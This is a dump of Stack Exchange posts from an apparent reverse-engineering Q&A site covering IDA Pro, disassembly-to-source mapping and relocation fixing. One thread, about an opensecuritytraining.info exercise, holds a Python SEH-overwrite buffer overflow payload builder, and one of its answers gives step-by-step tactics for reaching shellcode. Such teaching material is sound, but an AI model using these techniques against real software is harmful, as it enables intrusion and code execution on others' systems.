  <row Id="4757" PostTypeId="1" AcceptedAnswerId="4758" CreationDate="2014-07-02T11:42:49.730" Score="3" ViewCount="1155" Body="&lt;p&gt;When I try to load a Portable Executable in IDA Pro 6.6 it can't resolve the Symbols. I have hooked it to a &lt;code&gt;win32_remote.exe&lt;/code&gt;. It keeps saying &lt;code&gt;E_PDB_NOT_FOUND&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I even have WinDBG installed.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="53" LastEditDate="2014-07-02T13:33:43.337" LastActivityDate="2014-07-02T13:34:22.267" Title="IDA fails to load Symbols from EXE on Linux" Tags="|ida|symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4758" PostTypeId="2" ParentId="4757" CreationDate="2014-07-02T11:42:49.730" Score="3" Body="&lt;p&gt;A common issue is missing &lt;code&gt;symsrv.dll&lt;/code&gt;. Please make sure you have it on the remote machine and that &lt;code&gt;win32_remote.exe&lt;/code&gt; can find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also append &lt;code&gt;-z10000&lt;/code&gt; to the command line in order to get more output from the MS-DIA libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to HexRays for this answer.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="53" LastEditDate="2014-07-02T13:34:22.267" LastActivityDate="2014-07-02T13:34:22.267" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4759" PostTypeId="2" ParentId="4752" CreationDate="2014-07-02T13:36:57.670" Score="7" Body="&lt;p&gt;Issue solved. For that moment tested several utilities for relocation patching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/index.php/RelocEditor&quot; rel=&quot;nofollow&quot;&gt;RelocEditor&lt;/a&gt; - didn't solve the issue, but maybe for some future researchers who will face with similar task will find it useful &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://yadi.sk/d/58FFCzwdVkTuo&quot; rel=&quot;nofollow&quot;&gt;Reloc Rebuilder&lt;/a&gt; - actually solved issue. Just select patched executable and app should fix the relocation table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/gta126/Relocation-Section-Editor&quot; rel=&quot;nofollow&quot;&gt;Relocation Section Editor&lt;/a&gt; - didn't tried myself, but should also work. Link here because of purposes as in first item.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="4609" LastEditDate="2015-05-12T23:28:17.813" LastActivityDate="2015-05-12T23:28:17.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4761" PostTypeId="2" ParentId="4684" CreationDate="2014-07-02T14:16:00.133" Score="9" Body="&lt;p&gt;This works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ea=here()&#xA;ti = idaapi.opinfo_t()&#xA;f = idc.GetFlags(ea)&#xA;if idaapi.get_opinfo(ea, 0, f, ti):&#xA;   print (&quot;tid=%08x - %s&quot; % (ti.tid, idaapi.get_struc_name(ti.tid)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;ti.tid&lt;/code&gt; then contains the strid.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="53" LastEditDate="2014-07-02T14:52:09.043" LastActivityDate="2014-07-02T14:52:09.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4762" PostTypeId="1" CreationDate="2014-07-02T15:15:01.903" Score="4" ViewCount="10417" Body="&lt;p&gt;Basically here's what I want to know, if you have a disassembled instruction say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jz 0x8048e1a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, you also have the source code. How do you go about figuring out what this instruction relates to in the source code ? At the very least, would it be possible to figure out the basic block that this instruction comes from ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I have an application that spits out a disassembled instruction for an ELF binary that I have compiled myself (source available), and now I have to find out what/where this disassembled instruction maps to in the source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's also assume that I do not use any of the optimization flags while compiling. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should probably mention that I am using Intel's PIN as the application that spits out these disassembled instructions. So, I know which function/routine these instructions belong to. But, I just want to be a bit more precise at the assembly level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help/hints !&lt;/p&gt;&#xA;" OwnerUserId="6976" LastEditorUserId="1562" LastEditDate="2014-07-02T16:16:42.747" LastActivityDate="2015-08-27T13:50:33.647" Title="How to match disassembled instructions back to C/C++ source?" Tags="|decompilation|c++|c|elf|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4763" PostTypeId="2" ParentId="4762" CreationDate="2014-07-02T15:24:43.640" Score="4" Body="&lt;p&gt;You have to read and interpret the assembly. There is no substitute for reading the assembly. If you know what the assembly instructions mean, and you have the source code the relationship between the two should be quite clear. There will be no direct marker that shall tell what line of the source the assembly came from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So learn how your basic structures in C/C++  look in ASM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does a loop look like? (Hint: There are several ways to write loops in ASM)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does a struct look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does a function look like? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does a pointer look like?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you learn ASM well, this will all be clear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, learn how compilers work, and learn to debug running code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &#xA;You can actually generate debugger symmbols to relate code to individual line numbers, so what I said above is not exactly true. &lt;/p&gt;&#xA;" OwnerUserId="2149" LastEditorUserId="2149" LastEditDate="2014-07-02T15:42:51.323" LastActivityDate="2014-07-02T15:42:51.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4764" PostTypeId="2" ParentId="4762" CreationDate="2014-07-02T15:32:27.843" Score="4" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;EDIT:&lt;/strong&gt; The answer below is specific to PE files, which doesn't answer the question above now that @Achilles specified that his question is in regard to ELF files.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that you have the source code and can produce symbols for your program, you can use the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/x93ctkx8.aspx&quot; rel=&quot;nofollow&quot;&gt;Debug Interface Access SDK&lt;/a&gt; to map assembly code instruction addresses to source code line numbers. In particular, you would want to use the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/3zz7bhbs.aspx&quot; rel=&quot;nofollow&quot;&gt;IDiaLineNumber class&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The following function displays line numbers used in a function&#xA;  (represented by &lt;code&gt;pSymbol&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void dumpFunctionLines( IDiaSymbol* pSymbol, IDiaSession* pSession ) {&#xA;ULONGLONG length = 0;&#xA;DWORD     isect  = 0;&#xA;DWORD     offset = 0;&#xA;&#xA;pSymbol-&amp;gt;get_addressSection( &amp;amp;isect );&#xA;pSymbol-&amp;gt;get_addressOffset( &amp;amp;offset );&#xA;pSymbol-&amp;gt;get_length( &amp;amp;length );&#xA;if ( isect != 0 &amp;amp;&amp;amp; length &amp;gt; 0 )&#xA;{&#xA;    CComPtr&amp;lt; IDiaEnumLineNumbers &amp;gt; pLines;&#xA;    if ( SUCCEEDED( pSession-&amp;gt;findLinesByAddr(&#xA;                                  isect,&#xA;                                  offset,&#xA;                                  static_cast&amp;lt;DWORD&amp;gt;( length ),&#xA;                                  &amp;amp;pLines)&#xA;                  )&#xA;       )&#xA;    {&#xA;        CComPtr&amp;lt; IDiaLineNumber &amp;gt; pLine;&#xA;        DWORD celt      = 0;&#xA;        bool  firstLine = true;&#xA;&#xA;        while ( SUCCEEDED( pLines-&amp;gt;Next( 1, &amp;amp;pLine, &amp;amp;celt ) ) &amp;amp;&amp;amp;&#xA;                celt == 1 )&#xA;        {&#xA;            DWORD offset;&#xA;            DWORD seg;&#xA;            DWORD linenum;&#xA;            CComPtr&amp;lt; IDiaSymbol &amp;gt;     pComp;&#xA;            CComPtr&amp;lt; IDiaSourceFile &amp;gt; pSrc;&#xA;&#xA;            pLine-&amp;gt;get_compiland( &amp;amp;pComp );&#xA;            pLine-&amp;gt;get_sourceFile( &amp;amp;pSrc );&#xA;            pLine-&amp;gt;get_addressSection( &amp;amp;seg );&#xA;            pLine-&amp;gt;get_addressOffset( &amp;amp;offset );&#xA;            pLine-&amp;gt;get_lineNumber( &amp;amp;linenum );&#xA;            printf( &quot;\tline %d at 0x%x:0x%x\n&quot;, linenum, seg, offset );&#xA;            pLine = NULL;&#xA;            if ( firstLine )&#xA;            {&#xA;                // sanity check&#xA;                CComPtr&amp;lt; IDiaEnumLineNumbers &amp;gt; pLinesByLineNum;&#xA;                if ( SUCCEEDED( pSession-&amp;gt;findLinesByLinenum(&#xA;                                              pComp,&#xA;                                              pSrc,&#xA;                                              linenum,&#xA;                                              0,&#xA;                                              &amp;amp;pLinesByLineNum)&#xA;                              )&#xA;                   )&#xA;                {&#xA;                    CComPtr&amp;lt; IDiaLineNumber &amp;gt; pLine;&#xA;                    DWORD celt;&#xA;                    while ( SUCCEEDED( pLinesByLineNum-&amp;gt;Next( 1, &amp;amp;pLine, &amp;amp;celt ) ) &amp;amp;&amp;amp;&#xA;                            celt == 1 )&#xA;                    {&#xA;                        DWORD offset;&#xA;                        DWORD seg;&#xA;                        DWORD linenum;&#xA;&#xA;                        pLine-&amp;gt;get_addressSection( &amp;amp;seg );&#xA;                        pLine-&amp;gt;get_addressOffset( &amp;amp;offset );&#xA;                        pLine-&amp;gt;get_lineNumber( &amp;amp;linenum );&#xA;                        printf( &quot;\t\tfound line %d at 0x%x:0x%x\n&quot;, linenum, seg, offset );&#xA;                        pLine = NULL;&#xA;                   }&#xA;                }&#xA;                firstLine = false;&#xA;            }&#xA;        }&#xA;    }&#xA;} }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-07-02T16:18:26.300" LastActivityDate="2014-07-02T16:18:26.300" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4765" PostTypeId="2" ParentId="4762" CreationDate="2014-07-02T15:39:14.427" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how do you go about figuring out what this instruction relates to in the source code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Mostly intuition and experience. Given the high-level overview from the source code, one could spot the function and possibly the line where the instruction belongs, but so far I know no program that could do the same. Having debug info certainly helps a lot, but is not a panacea, and in general, not always available.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;At the very least, would it be possible to figure out the basic block that this instruction comes from?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general, no. In certain cases, yes. Modern compilers tend to optimize code too aggressively. Even having all the debug info the compiler produces is sometimes not enough to map the precise location of the given insn, which can be demonstrated by trying to do source-level debugging on such an application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Didn't properly notice you build the binary by yourself. Then yes, it should be possible to at least map the instruction to a function given the debug info.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="6910" LastEditDate="2014-07-02T15:46:25.870" LastActivityDate="2014-07-02T15:46:25.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4766" PostTypeId="2" ParentId="4762" CreationDate="2014-07-02T15:39:38.890" Score="2" Body="&lt;p&gt;Which compiler are you using? My background is more in Windows development (as opposed to Linux/BSD/OSX), so I can only speak to that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in &lt;strong&gt;Visual Studio&lt;/strong&gt;, you can see the generated assembly while debugging C/C++. &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/a3cwf295.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;See this MSDN article for detail&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are only interested in the ASM, you may want to change some of the compilation settings within your Visual Studio project so that it reduces debug information included with the project. &lt;a href=&quot;http://www.scribd.com/doc/183361038/Setup-Visual-Studio-for-Learning-Reverse-Engineering&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detail on how to do that is here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Primarily involves:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disabling C++ exceptions&lt;/li&gt;&#xA;&lt;li&gt;Debug information format set to Program Database (/Zi)&lt;/li&gt;&#xA;&lt;li&gt;Turning off buffer security check (/GS-)&lt;/li&gt;&#xA;&lt;li&gt;Turn off incremental linking (/NCREMENTAL:NO)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3ral.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Embarcadero &lt;strong&gt;C++ Builder and Delphi&lt;/strong&gt; (formerly Borland) offer the same functionality as well. &lt;a href=&quot;http://docwiki.embarcadero.com/RADStudio/XE6/en/Using_the_CPU_View&quot; rel=&quot;nofollow noreferrer&quot;&gt;Usage detail here&lt;/a&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xEdjJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditDate="2014-07-02T15:46:36.127" LastActivityDate="2014-07-02T15:46:36.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4768" PostTypeId="2" ParentId="3992" CreationDate="2014-07-02T20:04:54.127" Score="10" Body="&lt;p&gt;You asked this a couple of months ago, but I'm going to answer anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I fear that your decompression code is buggy. There are several  horizontal lines of noise, and I'm pretty sure they're not supposed to be there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your &lt;code&gt;A+B=C&lt;/code&gt; guess was correct. A tell-tale sign are the visible horizontal edges but hidden vertical edges. I think your mistake was simply to do the addition with the wrong endianness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a little Python script:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from PIL import Image&#xA;im = Image.open('orig.png')&#xA;w, h = im.size&#xA;pix = im.load()&#xA;def add(p, q):&#xA;    # Convert (R,G,B) tuples to RGB integers, add them, and convert back&#xA;    pp = (p[0] &amp;lt;&amp;lt; 16) + (p[1] &amp;lt;&amp;lt; 8) + p[2]&#xA;    qq = (q[0] &amp;lt;&amp;lt; 16) + (q[1] &amp;lt;&amp;lt; 8) + q[2]&#xA;    r = pp + qq&#xA;    return ((r &amp;gt;&amp;gt; 16) &amp;amp; 0xFF, (r &amp;gt;&amp;gt; 8) &amp;amp; 0xFF, r &amp;amp; 0xFF)&#xA;for y in range(1, h):&#xA;    for x in range(w):&#xA;        pix[x,y] = add(pix[x, y], pix[x, y-1])&#xA;im.save('out.png')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is this image. You can see that the top third matches the PSP image, but starting from the line of noise in the source image, the picture becomes distorted. Fix your decompression code and the picture will come out right :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c2y15.png&quot; alt=&quot;processed image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6960" LastEditorUserId="6960" LastEditDate="2014-10-05T20:36:52.600" LastActivityDate="2014-10-05T20:36:52.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4769" PostTypeId="2" ParentId="4762" CreationDate="2014-07-02T21:33:27.010" Score="2" Body="&lt;p&gt;If you compiled it yourself, and can compile it with dwarf information, then you can use addr2line from gnu binutils. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have less information, I just try to get the lay of the land, often using references to arguments or function calls as major landmarks. Obviously, that's not applicable to every binary, though.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2014-07-02T21:33:27.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4770" PostTypeId="1" AcceptedAnswerId="4780" CreationDate="2014-07-02T23:13:55.980" Score="1" ViewCount="1195" Body="&lt;p&gt;I'm using the following IDC function to copy the RAM Data and Code sections from the packed binary, into the correct runtime locations for my Fujitsu FR system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static idc_memcpy(source, dest, count, desc)&#xA;{&#xA;    auto i, val;&#xA;&#xA;    SetCharPrm(INF_GENFLAGS, INFFL_LOADIDC|GetCharPrm(INF_GENFLAGS));&#xA;    Message(&quot;Copy %a: Start\n&quot;, dest);&#xA;&#xA;    for(i = 0; i &amp;lt; count; i = i + 2 )&#xA;    {&#xA;        val = Word(source + i);&#xA;        PatchWord(dest + i, val);&#xA;    }&#xA;&#xA;    SetCharPrm(INF_GENFLAGS, ~INFFL_LOADIDC&amp;amp;GetCharPrm(INF_GENFLAGS));&#xA;&#xA;    MakeUnknown(source,count,DOUNK_EXPAND+DOUNK_DELNAMES);&#xA;&#xA;    HideArea(source, source+count-1, desc, &quot;&quot;, &quot;&quot;, -1);&#xA;    SetHiddenArea(source, 1 );&#xA;    Message(&quot;Copy %a: End\n&quot;, dest);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I go to the source address I see: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM:00447E8C ; [0000C878 BYTES: BEGIN OF AREA RAM Data2 Source. PRESS KEYPAD &quot;-&quot; TO COLLAPSE]&#xA;ROM:00447E8C unk_447E8C:     .byte 0xFF              ; DATA XREF: Tsk32+176o&#xA;ROM:00447E8D                 .byte 0xFF&#xA;ROM:00447E8E                 .byte 0xFF&#xA;ROM:00447E8F                 .byte 0xFF&#xA;ROM:00447E90                 .byte    0&#xA;ROM:00447E91                 .byte 0x30 ; 0&#xA;ROM:00447E92                 .byte    0&#xA;ROM:00447E93                 .byte    0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was hoping/expecting to have that area hidden, what am I doing wrong. If I press keypad &lt;kbd&gt;-&lt;/kbd&gt; I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;IDA failed to display the program in graph mode.&#xA;  Only instructions belonging to functions can be displayed in graph mode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-08-03T06:07:24.973" Title="Hide data areas in IDA IDC" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4771" PostTypeId="1" CreationDate="2014-07-03T00:06:19.470" Score="2" ViewCount="176" Body="&lt;p&gt;I have the following problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in an assembly code I have a call into a function. When I step into the function and analyze a little bit, after a while ollydbg says that is suddenly terminated and I can not do anything against that. You know, after terminating ollydbg does not allow to step futher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question would be: &#xA;Is is possible to go back to the line where the function is called and step over the function ? I mean, after knowing that the function is terminating the whole thing i would not go again in that function. &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-07-08T15:35:10.367" Title="Process termination after calling a function" Tags="|assembly|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4773" PostTypeId="1" AcceptedAnswerId="4776" CreationDate="2014-06-30T18:38:00.013" Score="2" ViewCount="496" Body="&lt;p&gt;I am trying to exploit this little program I found on &lt;a href=&quot;http://opensecuritytraining.info/&quot; rel=&quot;nofollow noreferrer&quot;&gt;opensecuritytraining.info&lt;/a&gt;.&#xA;But, somehow, I am stuck at this point. What I did was to create a file which gets read from the program. Here is the code I am using for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;&#xA;import struct&#xA;&#xA;mystring = b&quot;\xCC&quot;*1096# junk&#xA;nSEH = b&quot;\xeb\x06\x90\x90&quot;&#xA;SEH  = struct.pack(&quot;&amp;lt;L&quot;, 0x004011B6)&#xA;opcode = &quot;\xe9\xdf\xf6\xff\xff&quot;&#xA;&#xA;mystring += nSEH + SEH + (&quot;\x90&quot;*16) + opcode&#xA;fileName='C:\hellothere.bin'&#xA;&#xA;with open(fileName, 'wb') as fb:&#xA;    fb.write(bytearray(mystring))&#xA;fb.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I am stuck at this point where I am overriding the buffer with &lt;code&gt;\xCC&lt;/code&gt;, But my question is, when I am placing another jump code where the &lt;code&gt;CC&lt;/code&gt;'s override the saved &lt;code&gt;EIP&lt;/code&gt; register. Can I jump further backwards to where my shell code takes place ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean in principle this should be possible for some tweaking or adjusting  of the exploit code itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWEJR.png&quot; alt=&quot;exercise&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4690" OwnerDisplayName="PolymathMonkey" LastEditorUserId="53" LastEditDate="2014-07-03T07:45:24.673" LastActivityDate="2014-07-03T13:23:01.410" Title="How should I reach my shellcode?" Tags="|windows|x86|buffer-overflow|" AnswerCount="2" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4774" PostTypeId="2" ParentId="4773" CreationDate="2014-07-03T07:47:03.133" Score="3" Body="&lt;p&gt;Yes, you can simply jump backwards. Control flow should reach your NOP pad, you can code your trampoline in there.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2014-07-03T07:47:03.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4775" PostTypeId="2" ParentId="4771" CreationDate="2014-07-03T11:02:23.420" Score="2" Body="&lt;p&gt;Here is my considerations based on your description. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have some function, that you want to step into for analyze purposes. Here is list(non exhaustive) of conditions, that can take debugger down&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unhandled exception was thrown when you tried to step into(maybe anti-debugging trick)&lt;/li&gt;&#xA;&lt;li&gt;You're trying to step into address, that, actually, doesn't exists(unlikely, but may be)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway, if you want the community to help you, there is lack of technical details in your topic. Here is the list of things, that worth providing: OS, commands prompted (breakpoints, etc), debugger listing(IMHO, Windbg better).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About &quot;time shifting&quot;. As you can see, main OS is not suitable for analyzing purposes. Consider doing this in virtual environment. Best practice is to save initial snapshot of all the configuration and go step-by-step through all parts of interest doing snapshots when needed. The advantage of this approach is that you can rollback previous configuration easily without roughly duplication of all the steps.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="4609" LastEditDate="2014-07-03T11:17:42.343" LastActivityDate="2014-07-03T11:17:42.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4776" PostTypeId="2" ParentId="4773" CreationDate="2014-07-03T11:19:43.697" Score="8" Body="&lt;p&gt;As far as the screenshot depicts, I can say that you are on the right track. You have correctly, overwritten the &lt;strong&gt;Pointer to NextSEH&lt;/strong&gt; and &lt;strong&gt;SE Handler&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Some explanation:&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exception Registration Record Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _EXCEPTION_REGISTRATION_RECORD&#xA;{&#xA;   struct _EXCEPTION_REGISTRATION_RECORD *Next;&#xA;   PEXCEPTION_ROUTINE                     Handler;&#xA;} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whenever a new function is called which has exception handling mechanism, the &lt;strong&gt;EXCEPTION_REGISTRATION_RECORD&lt;/strong&gt; is added to the stack. Where &lt;strong&gt;*Next&lt;/strong&gt; is the pointer to the &lt;strong&gt;Previous EXCEPTION_REGISTRATION_RECORD&lt;/strong&gt; and &lt;strong&gt;Handler&lt;/strong&gt; is the function pointer to the &lt;strong&gt;Exception handler&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;FS:0&lt;/strong&gt; register always points to the first &lt;strong&gt;EXCEPTION_REGISTRATION_RECORD&lt;/strong&gt;. Once the &lt;strong&gt;EXCEPTION_REGISTRATION_RECORD&lt;/strong&gt; is pushed on the stack, the &lt;strong&gt;FS:0&lt;/strong&gt; register will be set to point to the new &lt;strong&gt;EXCEPTION_REGISTRATION_RECORD&lt;/strong&gt; and &lt;strong&gt;Next&lt;/strong&gt; record will be set to point to the previous value of &lt;strong&gt;FS:0&lt;/strong&gt; register. This will maintain the link list of the SEH chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ExceptionHandler Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef EXCEPTION_DISPOSITION (*ExceptionHandler) (&#xA;    IN PEXCEPTION_RECORD ExceptionRecord,&#xA;    IN ULONG64 EstablisherFrame,&#xA;    IN OUT PCONTEXT ContextRecord,&#xA;    IN OUT PDISPATCHER_CONTEXT DispatcherContext&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When an exception occurs, &lt;strong&gt;System Exception Dispatcher&lt;/strong&gt; routine kicks in and it's sets up it's own stack frame. The structure of the &lt;strong&gt;ExceptionHandler&lt;/strong&gt; is pushed to the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In SEH overwrite scenario, an attacker is lucky because, &lt;strong&gt;System Exception Dispatcher&lt;/strong&gt; routine places the &lt;strong&gt;EstablisherFrame&lt;/strong&gt; value on the stack at &lt;strong&gt;[ESP+8]&lt;/strong&gt; before this &lt;strong&gt;ExceptionHandler&lt;/strong&gt; function is called. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EstablisherFrame&lt;/strong&gt; is the pointer to the &lt;strong&gt;NextSEH&lt;/strong&gt; record. An attacker is able to control it by overwriting &lt;strong&gt;NextSEH&lt;/strong&gt; record with arbitrary memory address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;Attacker has not overwritten the &lt;strong&gt;EstablisherFrame&lt;/strong&gt;. However, the attacker has overwritten &lt;strong&gt;NextSEH&lt;/strong&gt; pointer which was there on the stack.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once, you pass the exception &lt;strong&gt;System Exception Dispatcher&lt;/strong&gt; passes the control to the &lt;strong&gt;SE handler&lt;/strong&gt; and the exception handling code is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exploitation Tactics:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attacker will overwrite the &lt;strong&gt;NextSEH&lt;/strong&gt; with &lt;strong&gt;Backward Jump&lt;/strong&gt; and the &lt;strong&gt;SE Handler&lt;/strong&gt; with the address of &lt;strong&gt;POP/POP/RET&lt;/strong&gt; sequence.&lt;/li&gt;&#xA;&lt;li&gt;Once the exception occurs, the address of &lt;strong&gt;NextSEH&lt;/strong&gt; will be placed on the stack at &lt;strong&gt;[ESP+8]&lt;/strong&gt; due to exception dispatch routine prologue.&lt;/li&gt;&#xA;&lt;li&gt;Once the exception is passed, the exception dispatcher routine will pass the control to &lt;strong&gt;SE Handler&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SE Handler&lt;/strong&gt; will execute the &lt;strong&gt;POP/POP/RET&lt;/strong&gt; sequence and will &lt;strong&gt;POP&lt;/strong&gt; the address of &lt;strong&gt;NextSEH&lt;/strong&gt; in &lt;strong&gt;EIP&lt;/strong&gt;. Hence, gaining code execution.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Please accept my apologies if there are mistakes in the answer, and please help to improve the answer so that it's useful to the community members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4671" LastEditorUserId="4671" LastEditDate="2014-07-03T13:23:01.410" LastActivityDate="2014-07-03T13:23:01.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
